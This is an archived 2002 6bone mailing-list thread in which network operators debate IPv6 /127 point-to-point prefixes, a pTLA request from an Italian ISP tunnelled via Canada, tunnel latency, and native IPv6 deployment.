can phrase it) is to use basically anything other than /127 for P-t-P 
links.

Use of /127 seems to be very common though, so I'm soliciting opinions 
what should be done about this, e.g.:

- forget about the whole thing, it's their problem!
- informational or BCP individually?
- informational or BCP through ipv6 w.g.?
- discussion added to address architecture draft / coming IPv6 node 
requirements, ... ?
- other thoughts?

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Tue Apr  9 17:41:01 2002
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@ISI.EDU>
Subject: RE: pTLA request for RMNET - review closes 23 April 2002
Date: Tue, 9 Apr 2002 20:41:05 -0400
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Hello from Gregg C Levine
It's not you, Pekka Savola. It’s the whole setup. I looked at that one,
as well, I found it strange, as well. Perhaps Bob Fink, could comment?
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
> Pekka Savola
> Sent: Tuesday, April 09, 2002 4:07 PM
> To: Bob Fink
> Cc: 6BONE List; Stefano Rotellini - RMnet
> Subject: Re: pTLA request for RMNET - review closes 23 April 2002
> 
> Hello all,
> 
> The application looks ok, I'll just want to point out something that
may
> be worth discussing on a more global scale:
> 
> > >    >1. The pTLA Applicant must have a minimum of three (3) months
> > >    >   qualifying experience as a 6Bone end-site or pNLA transit.
> > >
> > >We are connected to the 6bone since December 2001 with a /48 from
> VIAGENIE.
> 
> An ISP from Italy has a tunnel and address block from VIAGENIE in
Canada.
> 
> Is it just me or does there seem to be something really wrong here?
> 
> --
> Pekka Savola                 "Tell me of difficulties surmounted,
> Netcore Oy                   not those you stumble over and fall"
> Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Tue Apr  9 19:24:33 2002
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To: Pekka Savola <pekkas@netcore.fi>
Cc: 6BONE List <6bone@ISI.EDU>
In-reply-to: pekkas's message of Tue, 09 Apr 2002 23:07:37 +0300.
      <Pine.LNX.4.44.0204092258430.30672-100000@netcore.fi> 
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Subject: Re: RFC: Don't use /127 as P-t-P prefix length? 
From: itojun@iijlab.net
Date: Wed, 10 Apr 2002 11:24:32 +0900
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>Hello,
>I presented very quickly my draft:
>http://www.ietf.org/internet-drafts/draft-savola-ipv6-127-prefixlen-01.txt
>at 6bone meeting at IETF53:
>http://www.6bone.net/ngtrans/minutes/default.htm
>There was basically zero time for discussion so I was asked to take this 
>to the mailing list.
>This is an operational problem, and the workaround or the fix (however you 
>can phrase it) is to use basically anything other than /127 for P-t-P 
>links.

	I agree with what the draft says, and I like option 1 in the solutions
	section (use /64) the most.

>- forget about the whole thing, it's their problem!
>- informational or BCP individually?
>- informational or BCP through ipv6 w.g.?
>- discussion added to address architecture draft / coming IPv6 node 
>requirements, ... ?
>- other thoughts?

	not sure where this kind of document should be placed - informational
	RFC?

itojun

From 6bone-owner  Wed Apr 10 02:06:17 2002
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Date: Wed, 10 Apr 2002 11:05:45 +0200
From: "D'Albenzio Raffaele" <Raffaele.Dalbenzio@TILAB.COM>
Subject: New version of ASpath-tree is available on line
To: 6bone@ISI.EDU
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Telecom Italia Lab released version 3.3 of 
ASpath-tree routing monitoring software. 

This version fix some bugs and is conform
to new 6Bone prefix assignment policy.
Valid PTLAs
- 3FFE:0000::/24 thru 3FFE:3F00::/24 
- 3FFE:8000::/28 thru 3FFE:83F0::/28  
- 3FFE:4000::/32 thru 3FFE:7FFF::/32 

It can be downloaded from 

http://carmen.ipv6.tilab.com/ipv6/download.html

Bye,
Raffaele D'Albenzio.
Telecom Italia Lab IPv6 Group.

From 6bone-owner  Wed Apr 10 07:37:59 2002
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Date: Wed, 10 Apr 2002 07:37:57 -0700
To: Pekka Savola <pekkas@netcore.fi>
From: Bob Fink <fink@es.net>
Subject: Re: pTLA request for RMNET - review closes 23 April 2002
Cc: 6BONE List <6bone@ISI.EDU>,
        Stefano Rotellini - RMnet <s.rotellini@rmnet.it>
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Pekka,

At 11:06 PM 4/9/2002 +0300, Pekka Savola wrote:
>Hello all,
>
>The application looks ok, I'll just want to point out something that may
>be worth discussing on a more global scale:
>
> > >    >1. The pTLA Applicant must have a minimum of three (3) months
> > >    >   qualifying experience as a 6Bone end-site or pNLA transit.
> > >
> > >We are connected to the 6bone since December 2001 with a /48 from 
> VIAGENIE.
>
>An ISP from Italy has a tunnel and address block from VIAGENIE in Canada.
>
>Is it just me or does there seem to be something really wrong here?

What is wrong? Many times networks that want to get involved with 
experimenting with IPv6 cannot find reasonable geographically located pTLAs 
to support them with a prefix and a tunnel, so they go to freenet6. Part of 
the reason to expand the pTLA base is to minimize this problem by creating 
communities of interest with a pTLA of their own so they can then serve 
their users in a sensible geographical way.

If you think there is something wrong with this, please say more.


Thanks,

Bob


From 6bone-owner  Wed Apr 10 07:50:04 2002
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Date: Wed, 10 Apr 2002 17:49:11 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>,
        Stefano Rotellini - RMnet <s.rotellini@rmnet.it>
Subject: Re: pTLA request for RMNET - review closes 23 April 2002
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On Wed, 10 Apr 2002, Bob Fink wrote:
> >An ISP from Italy has a tunnel and address block from VIAGENIE in Canada.
> >
> >Is it just me or does there seem to be something really wrong here?
> 
> What is wrong? Many times networks that want to get involved with 
> experimenting with IPv6 cannot find reasonable geographically located pTLAs 
> to support them with a prefix and a tunnel, so they go to freenet6. Part of 
> the reason to expand the pTLA base is to minimize this problem by creating 
> communities of interest with a pTLA of their own so they can then serve 
> their users in a sensible geographical way.
> 
> If you think there is something wrong with this, please say more.

If I was serious about experimenting with IPv6, I sure would not go
overseas to find someone who might be willing to slice off a part of a
block.  However, if I was not serious, I wouldn't care if all my IPv6
traffic to European countries crossed the Atlantic twice.

In real use this just would *not* have been acceptable.

I'm sure there would have been a pTLA in, perhaps not Italy but Europe
regardless willing to give space.  Perhaps this might be something 
consider in the evaluation of proper (existing) pTLA behaviour.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Wed Apr 10 08:00:34 2002
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Date: Wed, 10 Apr 2002 08:00:30 -0700
To: Pekka Savola <pekkas@netcore.fi>
From: Bob Fink <fink@es.net>
Subject: Re: pTLA request for RMNET - review closes 23 April 2002
Cc: 6BONE List <6bone@ISI.EDU>,
        Stefano Rotellini - RMnet <s.rotellini@rmnet.it>
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Pekka,

At 05:49 PM 4/10/2002 +0300, Pekka Savola wrote:
>On Wed, 10 Apr 2002, Bob Fink wrote:
> > >An ISP from Italy has a tunnel and address block from VIAGENIE in Canada.
> > >
> > >Is it just me or does there seem to be something really wrong here?
> >
> > What is wrong? Many times networks that want to get involved with
> > experimenting with IPv6 cannot find reasonable geographically located 
> pTLAs
> > to support them with a prefix and a tunnel, so they go to freenet6. 
> Part of
> > the reason to expand the pTLA base is to minimize this problem by creating
> > communities of interest with a pTLA of their own so they can then serve
> > their users in a sensible geographical way.
> >
> > If you think there is something wrong with this, please say more.
>
>If I was serious about experimenting with IPv6, I sure would not go
>overseas to find someone who might be willing to slice off a part of a
>block.  However, if I was not serious, I wouldn't care if all my IPv6
>traffic to European countries crossed the Atlantic twice.
>
>In real use this just would *not* have been acceptable.
>
>I'm sure there would have been a pTLA in, perhaps not Italy but Europe
>regardless willing to give space.  Perhaps this might be something
>consider in the evaluation of proper (existing) pTLA behaviour.

This is done quite a bit, i.e., tunnels all over the place, and I don't 
really like it either. Unfortunately even when you find some place you 
think is close, it often is not. Anyway, it's something that's hard to police.

As a pTLA peering we can exercise good management control and block ones we 
don't like, but as an end-site getting experience I fear it is not 
practical to do.

If you want to add some other requirements to pTLA requesting than we 
already have, let Rob and I know as we are trying to work on a next version 
of RFC2772.

In the real practical transition to IPv6 case the 6to4 approach of 
automatic tunneling is designed to deal with this (we hope, but still to be 
proven over the long term).


Thanks,

Bob


From 6bone-owner  Wed Apr 10 10:34:27 2002
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Thread-Topic: pTLA request for RMNET - review closes 23 April 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Pekka Savola" <pekkas@netcore.fi>, "Bob Fink" <fink@es.net>
Cc: "6BONE List" <6bone@ISI.EDU>,
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Pekka,

>> Bob Fink wrote:
>> If you think there is something wrong with this, please say more.

> Pekka Savola wrote:
> If I was serious about experimenting with IPv6, I sure would not
> go overseas to find someone who might be willing to slice off a
> part of a block.  However, if I was not serious, I wouldn't care if
> all my IPv6 traffic to European countries crossed the Atlantic twice.

I have to disagree with you on this point. I am in California, and the first tunnel I got was from Viagénie in Québec. Yes, I could have asked Hurricane Electric, or I could have asked Bob Fink, or I could have asked Cisco.

Who cares if my average RTT to Viagénie is 92ms? Not me. There are ways to adjust network latency in Quake v6 (the only IPv6 real application as of today, I think?)

> In real use this just would *not* have been acceptable.

The 6bone is _not_ real world. There is no real world, as of today. When we get native links, it will be time to re-assess the situation.
(Bob, I can provide you with a repeater in Sacramento when you lay out that dark fiber between Berkeley and Truckee ;-)


As far as I am concerned, the geographical location of a pTLA does not matter (I have a tunnel with UK, too). There are situations where the link to someone geographically close will be worse than someone at the other end of a continent. To some extent, I think that cross-ocean tunnels are a guarantee that the 6bone will not be used for production.

Michel.


From 6bone-owner  Wed Apr 10 12:14:51 2002
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Date: Wed, 10 Apr 2002 15:14:48 -0400
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From: Bill Owens <owens@nysernet.org>
Subject: RE: bad tunnel topology
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At 10:34 AM -0700 4/10/02, Michel Py wrote:
>Who cares if my average RTT to Viagénie is 92ms? Not me. There are 
>ways to adjust network latency in Quake v6 (the only IPv6 real 
>application as of today, I think?)

In order to get full throughput on the v6 newsfeed I have with the 
University of Oregon, we had to run 12 parallel connections. In 
principle a single TCP stream with gigantic buffers would have 
worked, but the newsfeed machine wasn't able to be tuned for 
administrative reasons, and we had over 300ms RTT.

We're down to 90ms now, thanks to some manual topology tuning. But at 
this point I'm sufficiently sick of working through the underlying v4 
topology of the tunnels that I'm waiting for further improvements 
until Abilene is able to run native v6. Soon. . .

Bill (who is currently running native v6)

From 6bone-owner  Wed Apr 10 13:46:03 2002
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Date: Wed, 10 Apr 2002 23:35:09 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
cc: Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>,
        Stefano Rotellini - RMnet <s.rotellini@rmnet.it>
Subject: 6bone Architectural Changes? [RE: pTLA request for RMNET - review
 closes 23 April 2002]
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On Wed, 10 Apr 2002, Michel Py wrote:
> >> Bob Fink wrote:
> >> If you think there is something wrong with this, please say more.
> 
> > Pekka Savola wrote:
> > If I was serious about experimenting with IPv6, I sure would not
> > go overseas to find someone who might be willing to slice off a
> > part of a block.  However, if I was not serious, I wouldn't care if
> > all my IPv6 traffic to European countries crossed the Atlantic twice.
> 
> I have to disagree with you on this point. I am in California, and the
> first tunnel I got was from Viagénie in Québec. Yes, I could have asked
> Hurricane Electric, or I could have asked Bob Fink, or I could have
> asked Cisco.

I think an ISP and a user asking for a block are two different things.  In 
any case RTT from Viagenie from Europe is around 250ms apparently.

> Who cares if my average RTT to Viagénie is 92ms? Not me. There are ways
> to adjust network latency in Quake v6 (the only IPv6 real application as
> of today, I think?)

Sometimes IPv6 is actually used in e.g. SSH sessions, WWW-pages etc.

Nobody will want to do stuff over IPv6 if the quality is always low.

> > In real use this just would *not* have been acceptable.
> 
> The 6bone is _not_ real world. There is no real world, as of today. When
> we get native links, it will be time to re-assess the situation. (Bob, I
> can provide you with a repeater in Sacramento when you lay out that dark
> fiber between Berkeley and Truckee ;-)

Native links are a sufficient but not required condition.  It would be
sufficient that tunnels are only done locally "within a country or a
region", or *at least* so that people with long tunnels don't use them for
transit without thinking REALLY HARD about it.

> As far as I am concerned, the geographical location of a pTLA does not
> matter (I have a tunnel with UK, too). There are situations where the
> link to someone geographically close will be worse than someone at the
> other end of a continent. To some extent, I think that cross-ocean
> tunnels are a guarantee that the 6bone will not be used for production.

Let me modify your statement above a bit:

"I think the tunnels are becoming a guarantee that IPv6 will not be used
for production."  [Note: I'm not saying all tunnels are bad, quite the 
contrary]

This is still true if one assumes a goal of IPv6 is to be deployed on a 
global scale.  Some might disagree about the timing and the scope.

The only ways I could see to get rid of the "cruft" of 6bone would appear 
to be like:

 1) Disband 6bone.  (This may not help in a global scale anyway.  But
how??)

 2) RFC2772 policy changes that "transit" MUST NOT be provided over
non-local tunnels unless there are strong reasons to do so (and enumerate
some reasons).

 3) People who are serious or semi-serious about IPv6 create a blacklist
of certain 6bone AS's: AS-PATHs which contain these AS's as non-terminal
members are rejected.  This blacklist would include all 6bone "toy"
transits.  This would kill legal traffic too, though.. A drawback here is
that everyone these serious IPv6 people want to connect to should use
similar policy so that return traffic should not be "blackholed".

 4) People who are serious about IPv6 refuse to talk to any 6bone
addresses, use the blacklist above, and an additional blacklist of AS's
which have only 6bone addresses. (Or a whitelist..). This is possibly
sufficient to keep off the "6bone pollution".

 5) Others?

I think we should look at option 2) or 5).

I think this is an "architectural discussion" that might have been useful
to have been included in 6bone meeting in IETF53.  However, it might have
just degenerated in a flamewar so perhaps this is for the best.

In any case so that 6bone does not become dead weight that tries to pull
IPv6 under the surface, we need to think of ways how to make IPv6
connectivity work better than now.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Wed Apr 10 14:21:47 2002
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Subject: Re: pTLA request for RMNET - review closes 23 April 2002
From: Ben Winslow <rain@bluecherry.net>
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On Wed, 2002-04-10 at 09:49, Pekka Savola wrote:
> On Wed, 10 Apr 2002, Bob Fink wrote:
> > >An ISP from Italy has a tunnel and address block from VIAGENIE in Cana=
da.
> > >
> > >Is it just me or does there seem to be something really wrong here?
> >=20
> > What is wrong? Many times networks that want to get involved with=20
> > experimenting with IPv6 cannot find reasonable geographically located p=
TLAs=20
> > to support them with a prefix and a tunnel, so they go to freenet6. Par=
t of=20
> > the reason to expand the pTLA base is to minimize this problem by creat=
ing=20
> > communities of interest with a pTLA of their own so they can then serve=
=20
> > their users in a sensible geographical way.
> >=20
> > If you think there is something wrong with this, please say more.
>=20
> If I was serious about experimenting with IPv6, I sure would not go
> overseas to find someone who might be willing to slice off a part of a
> block.  However, if I was not serious, I wouldn't care if all my IPv6
> traffic to European countries crossed the Atlantic twice.
>=20
> In real use this just would *not* have been acceptable.
>=20
> I'm sure there would have been a pTLA in, perhaps not Italy but Europe
> regardless willing to give space.  Perhaps this might be something=20
> consider in the evaluation of proper (existing) pTLA behaviour.
>=20
> --=20
> Pekka Savola                 "Tell me of difficulties surmounted,
> Netcore Oy                   not those you stumble over and fall"
> Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords

I wish it weren't the case, but there are still cases where you have to
accept the 'best you can get' scenario.  I do agree that as much effort
as possible should be taken to get a good peering point (it's my opinion
that latency is a huge problem on 6bone right now--one of the joys of
having an almost guarenteed 10 IPv4 routers between every IPv6 hop), a
slow peer is better than no peering at all.

The pTLA request is a little odd, but it may be a good idea.  Presuming
that there was indeed a real effort to find a good peer in Italy and
that failed, this will provide a pTLA for others to contact for tunnels
in the same geographical region.  While the connection to the rest of
6bone may be suboptimal, regional connections should be quite a bit
faster.  Consider this scenario versus 5 people in the region who had
all resorted to freenet6 tunnels trying to make use of IPv6--especially
for something where low latency was important.

Additionally, perhaps part of their intentions for becoming a pTLA are
precisely to establish better European peers.  Looking at their pTLA
request, I think they may already have started doing this.

Perhaps somebody from RMNET would like to comment?

--=20
Ben Winslow (rain@bluecherry.net) : A little inaccuracy sometimes
       System Administrator       : saves tons of explanation. --
   Bluecherry Internet Services   : H.H. Munro, "Saki" =20
    http://www.bluecherry.net/    :=20
          (573) 592-0800          :=20

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From 6bone-owner  Wed Apr 10 15:06:20 2002
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From: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Michel Py <michel@arneill-py.sacramento.ca.us>, Bob Fink <fink@es.net>,
        6BONE List <6bone@ISI.EDU>,
        Stefano Rotellini - RMnet <s.rotellini@rmnet.it>
Subject: Re: 6bone Architectural Changes? [RE: pTLA request for RMNET - review closes 23 April 2002] 
In-Reply-To: Message from Pekka Savola <pekkas@netcore.fi> 
   of "Wed, 10 Apr 2002 23:35:09 +0300." <Pine.LNX.4.44.0204102312300.9364-100000@netcore.fi> 
Reply-To: sommerfeld@orchard.arlington.ma.us
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I'll point out that given the prefix length restrictions on the 6bone,
getting a pTLA is just about the only way for 6bone sites to set up
redundant routing.

Without a pTLA, you have to renumber to fix your routing -- if I had
address space from someone 250ms away i'd definitely have an incentive
to arrange to qualify for a pTLA specifically to be able to set up
arbitrary tunnels...

						- Bill





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Date: Thu, 11 Apr 2002 01:14:01 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Bill Sommerfeld <sommerfeld@orchard.arlington.ma.us>
cc: Michel Py <michel@arneill-py.sacramento.ca.us>, Bob Fink <fink@es.net>,
        6BONE List <6bone@ISI.EDU>,
        Stefano Rotellini - RMnet <s.rotellini@rmnet.it>
Subject: Re: 6bone Architectural Changes? [RE: pTLA request for RMNET - review
 closes 23 April 2002] 
In-Reply-To: <20020410220620.691A82A51@orchard.arlington.ma.us>
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On Wed, 10 Apr 2002, Bill Sommerfeld wrote:
> I'll point out that given the prefix length restrictions on the 6bone,
> getting a pTLA is just about the only way for 6bone sites to set up
> redundant routing.
> 
> Without a pTLA, you have to renumber to fix your routing -- if I had
> address space from someone 250ms away i'd definitely have an incentive
> to arrange to qualify for a pTLA specifically to be able to set up
> arbitrary tunnels...

Yes, I don't dispute this.  This is not really criticism on RMNET (I just 
wondered why they didn't have a closer prefix, but that was probably an 
artifact).

What is more important is what people get when they DO get the pTLA.  
Some get excited and get N^2 tunnels because they can and provide transit
because it's cool.  Ingredients for a disaster.

At least with less than a pTLA, the damage is limited.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Wed Apr 10 15:56:03 2002
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Date: Wed, 10 Apr 2002 18:54:58 -0400 (EDT)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: Pekka Savola <pekkas@netcore.fi>
cc: Michel Py <michel@arneill-py.sacramento.ca.us>, Bob Fink <fink@es.net>,
        6BONE List <6bone@ISI.EDU>,
        Stefano Rotellini - RMnet <s.rotellini@rmnet.it>
Subject: Re: 6bone Architectural Changes? [RE: pTLA request for RMNET - review
 closes 23 April 2002]
In-Reply-To: <Pine.LNX.4.44.0204102312300.9364-100000@netcore.fi>
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On Wed, 10 Apr 2002, Pekka Savola wrote:

> In any case so that 6bone does not become dead weight that tries to pull
> IPv6 under the surface, we need to think of ways how to make IPv6
> connectivity work better than now.

I've been following the discussion for a little bit now, and I have to say
that I agree.  In striving to get better connectivity to other places, I've
had to "work around" the 6bone and just angle for what I could get, based
on the goodness of others.  (Which recalls the recent discussion of
charging charging for IPv6 transit, which might bring a form of order.)

This shouldn't be taken to heart or be meant to be taken as a criticism,
it's just based on personal exerience.

OK, so what?  Well, maybe the 6bone's entropy could be intrepreted as:

-a demand being made of it that it can no longer meet (Yo, ISP's!!!)
-experimentation that has run its course, and just been left to fester in
some areas, which is impacting others
-people are taking IPv6 seriously, but treating 6bone as an operational
network that isn't measuring up to preconceived notions of production
networks.

So how does one go about co-ordinating with some of the IPv6 "exchange
points", networks and others to "fix" this?

wfms


From 6bone-owner  Wed Apr 10 17:31:15 2002
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 10 Apr 2002 17:31:15 -0700 (PDT)
Date: Wed, 10 Apr 2002 17:31:15 -0700 (PDT)
From: Joe St Sauver <JOE@OREGON.UOREGON.EDU>
Subject: Re: 6bone Architectural Changes? [RE: pTLA request for RMNET - review
 closes 23 April 2002]
To: pekkas@netcore.fi
Cc: 6bone@ISI.EDU
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Hi,

>> The 6bone is _not_ real world. There is no real world, as of today. 

Sure there is. In fact, I would assert that IPv6 is very real real today,
and v6 is poised for accelerated availability (at least in the research 
and education network community) much in the way that IP multicast's 
diffusion had an inflection point a number of years back. (When native 
IP multicast was available and better than dvmrp connectivity, people 
moved... when native IPv6 is available and better than the 6bone, again, 
people will move)

If you look at http://monon.uits.iupui.edu/abilene/ipv6/ you'll see 
multiple IPv6 MRTG graphs running at >T1 speeds... as far as I'm concerned, 
traffic at that level's a sign that IPv6 is becoming quite real. 

>>When
>> we get native links, it will be time to re-assess the situation. (Bob, I
>> can provide you with a repeater in Sacramento when you lay out that dark
>> fiber between Berkeley and Truckee ;-)
>
>Native links are a sufficient but not required condition.  It would be
>sufficient that tunnels are only done locally "within a country or a
>region", or *at least* so that people with long tunnels don't use them for
>transit without thinking REALLY HARD about it.

Depending on what your tunnelled connectivity looks like and what your
native connectivity looks like, the tunnelled connectivity may (in some
cases) very well end up having lower latency then the native connectivity
-- it is all a function of the number and distribution of the native v6 
connectivity's peerings vis-a-vis the 6bone's interconnectivity 
(and the 6bone's aggregate interconnectivity is actually pretty good right 
now, I think, even if it *is* tunnelled). 

Consider Internet2's Abilene IPv6 service, for example. Because Abilene
currently relies exclusively on the 6tap for v6 peering with networks other 
than Abilene, traffic from Oregon to non-Abilene IPv6 destinations perforce 
HAS to travel to Chicago before it can go wherever its ultimate destination
may be. 

If I'm going from Oregon to IPv6 destinations in Europe, Chicago's "on the 
way," no harm, no foul, but if I'm going from Oregon to IPv6 destinations in 
Japan or Korea, say, I'd sure rather NOT have to go eastward just so I can 
turn around and go westward...

Likewise, if I lived on the East Coast instead of the West Coast, Chicago 
would be "on the way" for me going to Asian destinations, but an unnecessary 
detour if I was headed for Europe. If traffic has to make a big U turn to get 
delivered due to exchange point geographical distribution, I'd assert that 
there's a problem...

SO, from my point of view, if folks want to accelerate the migration of 
traffic from tunnelled connectivity to native connectivity, the key step is 
increasing participation at additional geographically distributed IPv6 
exchange points. http://www.6tap.net/ipv6-exchanges.html mentions a couple; 
see also the list at http://www.v6nap.net/

Alternatively, it would be terrific if Abilene and/or Canarie would offer an 
IPv6 International Transit Network service much as they currently offers an 
IPv4 ITN service for its non-US peer networks (for background on this, see:
http://www.ucaid.edu/abilene/html/itnservice.html ).

Regards,

Joe St Sauver (joe@oregon.uoregon.edu)
University of Oregon Computing Center

From 6bone-owner  Wed Apr 10 18:43:00 2002
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From: "Scott Martin" <swm@wayport.net>
To: "'Bill Owens'" <owens@nysernet.org>, "'6BONE List'" <6bone@ISI.EDU>
Subject: RE: bad tunnel topology
Date: Wed, 10 Apr 2002 20:42:51 -0500
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-snip-
> until Abilene is able to run native v6. Soon. . .
> 
> Bill (who is currently running native v6)

Are there any medium to large size ISP's either running native IPv6 or
ip+ipv6 simultaneously?

Thanks,
-Scott (who is currently running v6 tunneled :-) ) 


From 6bone-owner  Wed Apr 10 18:53:25 2002
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From: "Scott Martin" <swm@wayport.net>
To: <wmaton@ryouko.dgim.crc.ca>, "'Pekka Savola'" <pekkas@netcore.fi>
Cc: "'Michel Py'" <michel@arneill-py.sacramento.ca.us>,
        "'Bob Fink'" <fink@es.net>, "'6BONE List'" <6bone@ISI.EDU>,
        "'Stefano Rotellini - RMnet'" <s.rotellini@rmnet.it>
Subject: RE: 6bone Architectural Changes? [RE: pTLA request for RMNET - review closes 23 April 2002]
Date: Wed, 10 Apr 2002 20:53:22 -0500
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> 
> So how does one go about co-ordinating with some of the IPv6 "exchange
> points", networks and others to "fix" this?
> 
> wfms

I suppose that until ipv6 can make a corporation money, or until the
govt steps in with large amounts of $$ for funding, this "project" will
still flounder about... Sorta like the mbone.

This is where Microsoft could be a hero... Maybe anyway.

Personally, I would love to be running native ipv6 - no renumbering
worries to deal with.

-Scott


From 6bone-owner  Wed Apr 10 19:03:59 2002
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From: "Scott Martin" <swm@wayport.net>
To: <6bone@ISI.EDU>
Subject: Anyone close to L3 or UUNET Austin/Dallas/Houston I could "peer" with?
Date: Wed, 10 Apr 2002 21:03:57 -0500
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I currently have a tunnel to VBNS (That is down right now :-(  ) and
would like a second peer.

Thanks in advance,
-Scott


From 6bone-owner  Wed Apr 10 20:05:21 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
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Subject: RE: pTLA request for RMNET - review closes 23 April 2002
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Michel Py wrote:

> Pekka,
> 
> >> Bob Fink wrote:
> >> If you think there is something wrong with this, please say more.
> 
> > Pekka Savola wrote:
> > If I was serious about experimenting with IPv6, I sure would not
> > go overseas to find someone who might be willing to slice off a
> > part of a block.  However, if I was not serious, I wouldn't care if
> > all my IPv6 traffic to European countries crossed the 
> Atlantic twice.
> 
> I have to disagree with you on this point. I am in 
> California, and the first tunnel I got was from Viagénie in 
> Québec. Yes, I could have asked Hurricane Electric, or I 
> could have asked Bob Fink, or I could have asked Cisco.
> 
> Who cares if my average RTT to Viagénie is 92ms? Not me. 
> There are ways to adjust network latency in Quake v6 (the 
> only IPv6 real application as of today, I think?)
I personally use on day by day basis, IPv6 enabled:
 - SSH (PuTTY :)
 - SMTP
 - Quake 1 + 2*
 - HTTP
 - X

Can't say IMAP unfortunatly, I will have to wait till my Outlooky
understands it.
Serverside (courier ;) does it already though. But mail goes out and
comes in over IPv6 whenever possible.
And many other applications go used unnoticed.

* = http://games.concepts.nl, which will be native quite soon from
Amsterdam to Breda (almost cross country ;)
QuakeWorld & Quake2 patches provided courtesy of Viagenie!

Oh and I *do* care about latency... If you are doing transatlantic
_twice_ you have at least in a sunnyweather condition 2x 80ms.
That's 160ms already, typing (ssh), quaking, remote X'ing etc with 160ms
is not nice :)

<SNIP>

> As far as I am concerned, the geographical location of a pTLA 
> does not matter (I have a tunnel with UK, too). There are 
> situations where the link to someone geographically close 
> will be worse than someone at the other end of a continent. 
> To some extent, I think that cross-ocean tunnels are a 
> guarantee that the 6bone will not be used for production.
You've got a point there :)
Though I think most people will profit from good latency.
That's why one can take multiple tunnels and do some nice routing
based on that -> testing, experimenting -> <fillinyour>bone :)

Fortunatly these folks are requesting a pTLA so they can soon announce
their
block over as many tunnels they can lay their hands on and improve their
latency and uhaul packeting.

Greets,
 Jeroen


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To: "Scott Martin" <swm@wayport.net>
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Subject: native IPv6
From: itojun@iijlab.net
Date: Thu, 11 Apr 2002 12:38:07 +0900
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>> until Abilene is able to run native v6. Soon. . .
>> Bill (who is currently running native v6)
>Are there any medium to large size ISP's either running native IPv6 or
>ip+ipv6 simultaneously?

	there are quite a few ISPs running IPv6 native in Japan, like:
		IIJ	http://www.iij.com/
		NTT	http://www.ntt.com/
	(yes, there are a lot more)

	vBNS seems to be running IPv6 native.

	http://www.wide.ad.jp/nspixp6/ (Tokyo IPv6 peering point)
	http://6bone.v6.wide.ad.jp/ipv6-service.html
	should give you more idea.

	at this moment it is a common practice to run separate backbone for
	IPv4 and IPv6 - because of router firmware stability reasons (for
	example, IPv6 is not available for cisco S train firmwares).
	I hope it to change sooner.

itojun

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Subject: Re: 6bone Architectural Changes? [RE: pTLA request for RMNET - review closes 23 April 2002] 
From: itojun@iijlab.net
Date: Thu, 11 Apr 2002 12:48:34 +0900
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>The only ways I could see to get rid of the "cruft" of 6bone would appear 
>to be like:
>
> 1) Disband 6bone.  (This may not help in a global scale anyway.  But
>how??)
>
> 2) RFC2772 policy changes that "transit" MUST NOT be provided over
>non-local tunnels unless there are strong reasons to do so (and enumerate
>some reasons).
>
> 3) People who are serious or semi-serious about IPv6 create a blacklist
>of certain 6bone AS's: AS-PATHs which contain these AS's as non-terminal
>members are rejected.  This blacklist would include all 6bone "toy"
>transits.  This would kill legal traffic too, though.. A drawback here is
>that everyone these serious IPv6 people want to connect to should use
>similar policy so that return traffic should not be "blackholed".
>
> 4) People who are serious about IPv6 refuse to talk to any 6bone
>addresses, use the blacklist above, and an additional blacklist of AS's
>which have only 6bone addresses. (Or a whitelist..). This is possibly
>sufficient to keep off the "6bone pollution".
>
> 5) Others?

	assuming that pTLA requesters are doing so as a pre-qualification to
	get sTLA, how about this:

	- when applying to 6bone pTLA, one need to indicate intent to natively
	  peer with at least one peer (at IX, or as an ISP transit customer)
	  within certain amount of time (like 6 months)

itojun

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[consolidated multiple posts]

> Ben Winslow wrote:
> I wish it weren't the case, but there are still cases where you
> have to accept the 'best you can get' scenario.  I do agree that
> as much effort as possible should be taken to get a good peering
> point (it's my opinion that latency is a huge problem on 6bone
> right now--one of the joys of having an almost guarenteed 10 IPv4
> routers between every IPv6 hop), a slow peer is better than no
> peering at all.

I agree with Ben here, not to mention that getting it for free is not
bad either.


> Pekka Savola wrote:
> Sometimes IPv6 is actually used in e.g. SSH sessions, WWW-pages etc.

Sometimes. And I'd rather waste hours of configuration for the sole
purpose of telling my email buddies that I can play Quake on a v6-only
server than look at a meaningless web page that says "I have a v6-only
web site". I remember ten years ago configuring bridging of IPX over
routed IP to play doom (it was IPX broadcast based, therefore the
bridging).


It appears to me that some of you are missing the point:
- Viagenie is the biggest IPv6 ISP today. It makes sense to have a
tunnel with them anyway (especially for free) and that is why I have
one.
- It is legitimate for Viagenie and any other large ISPs to service
customers in the entire world. Since we do not allow them to advertise
regional prefixes but only their pTLA /24, long RTTs are to be expected.
- Advertising regional prefixes would be useful if they had a native
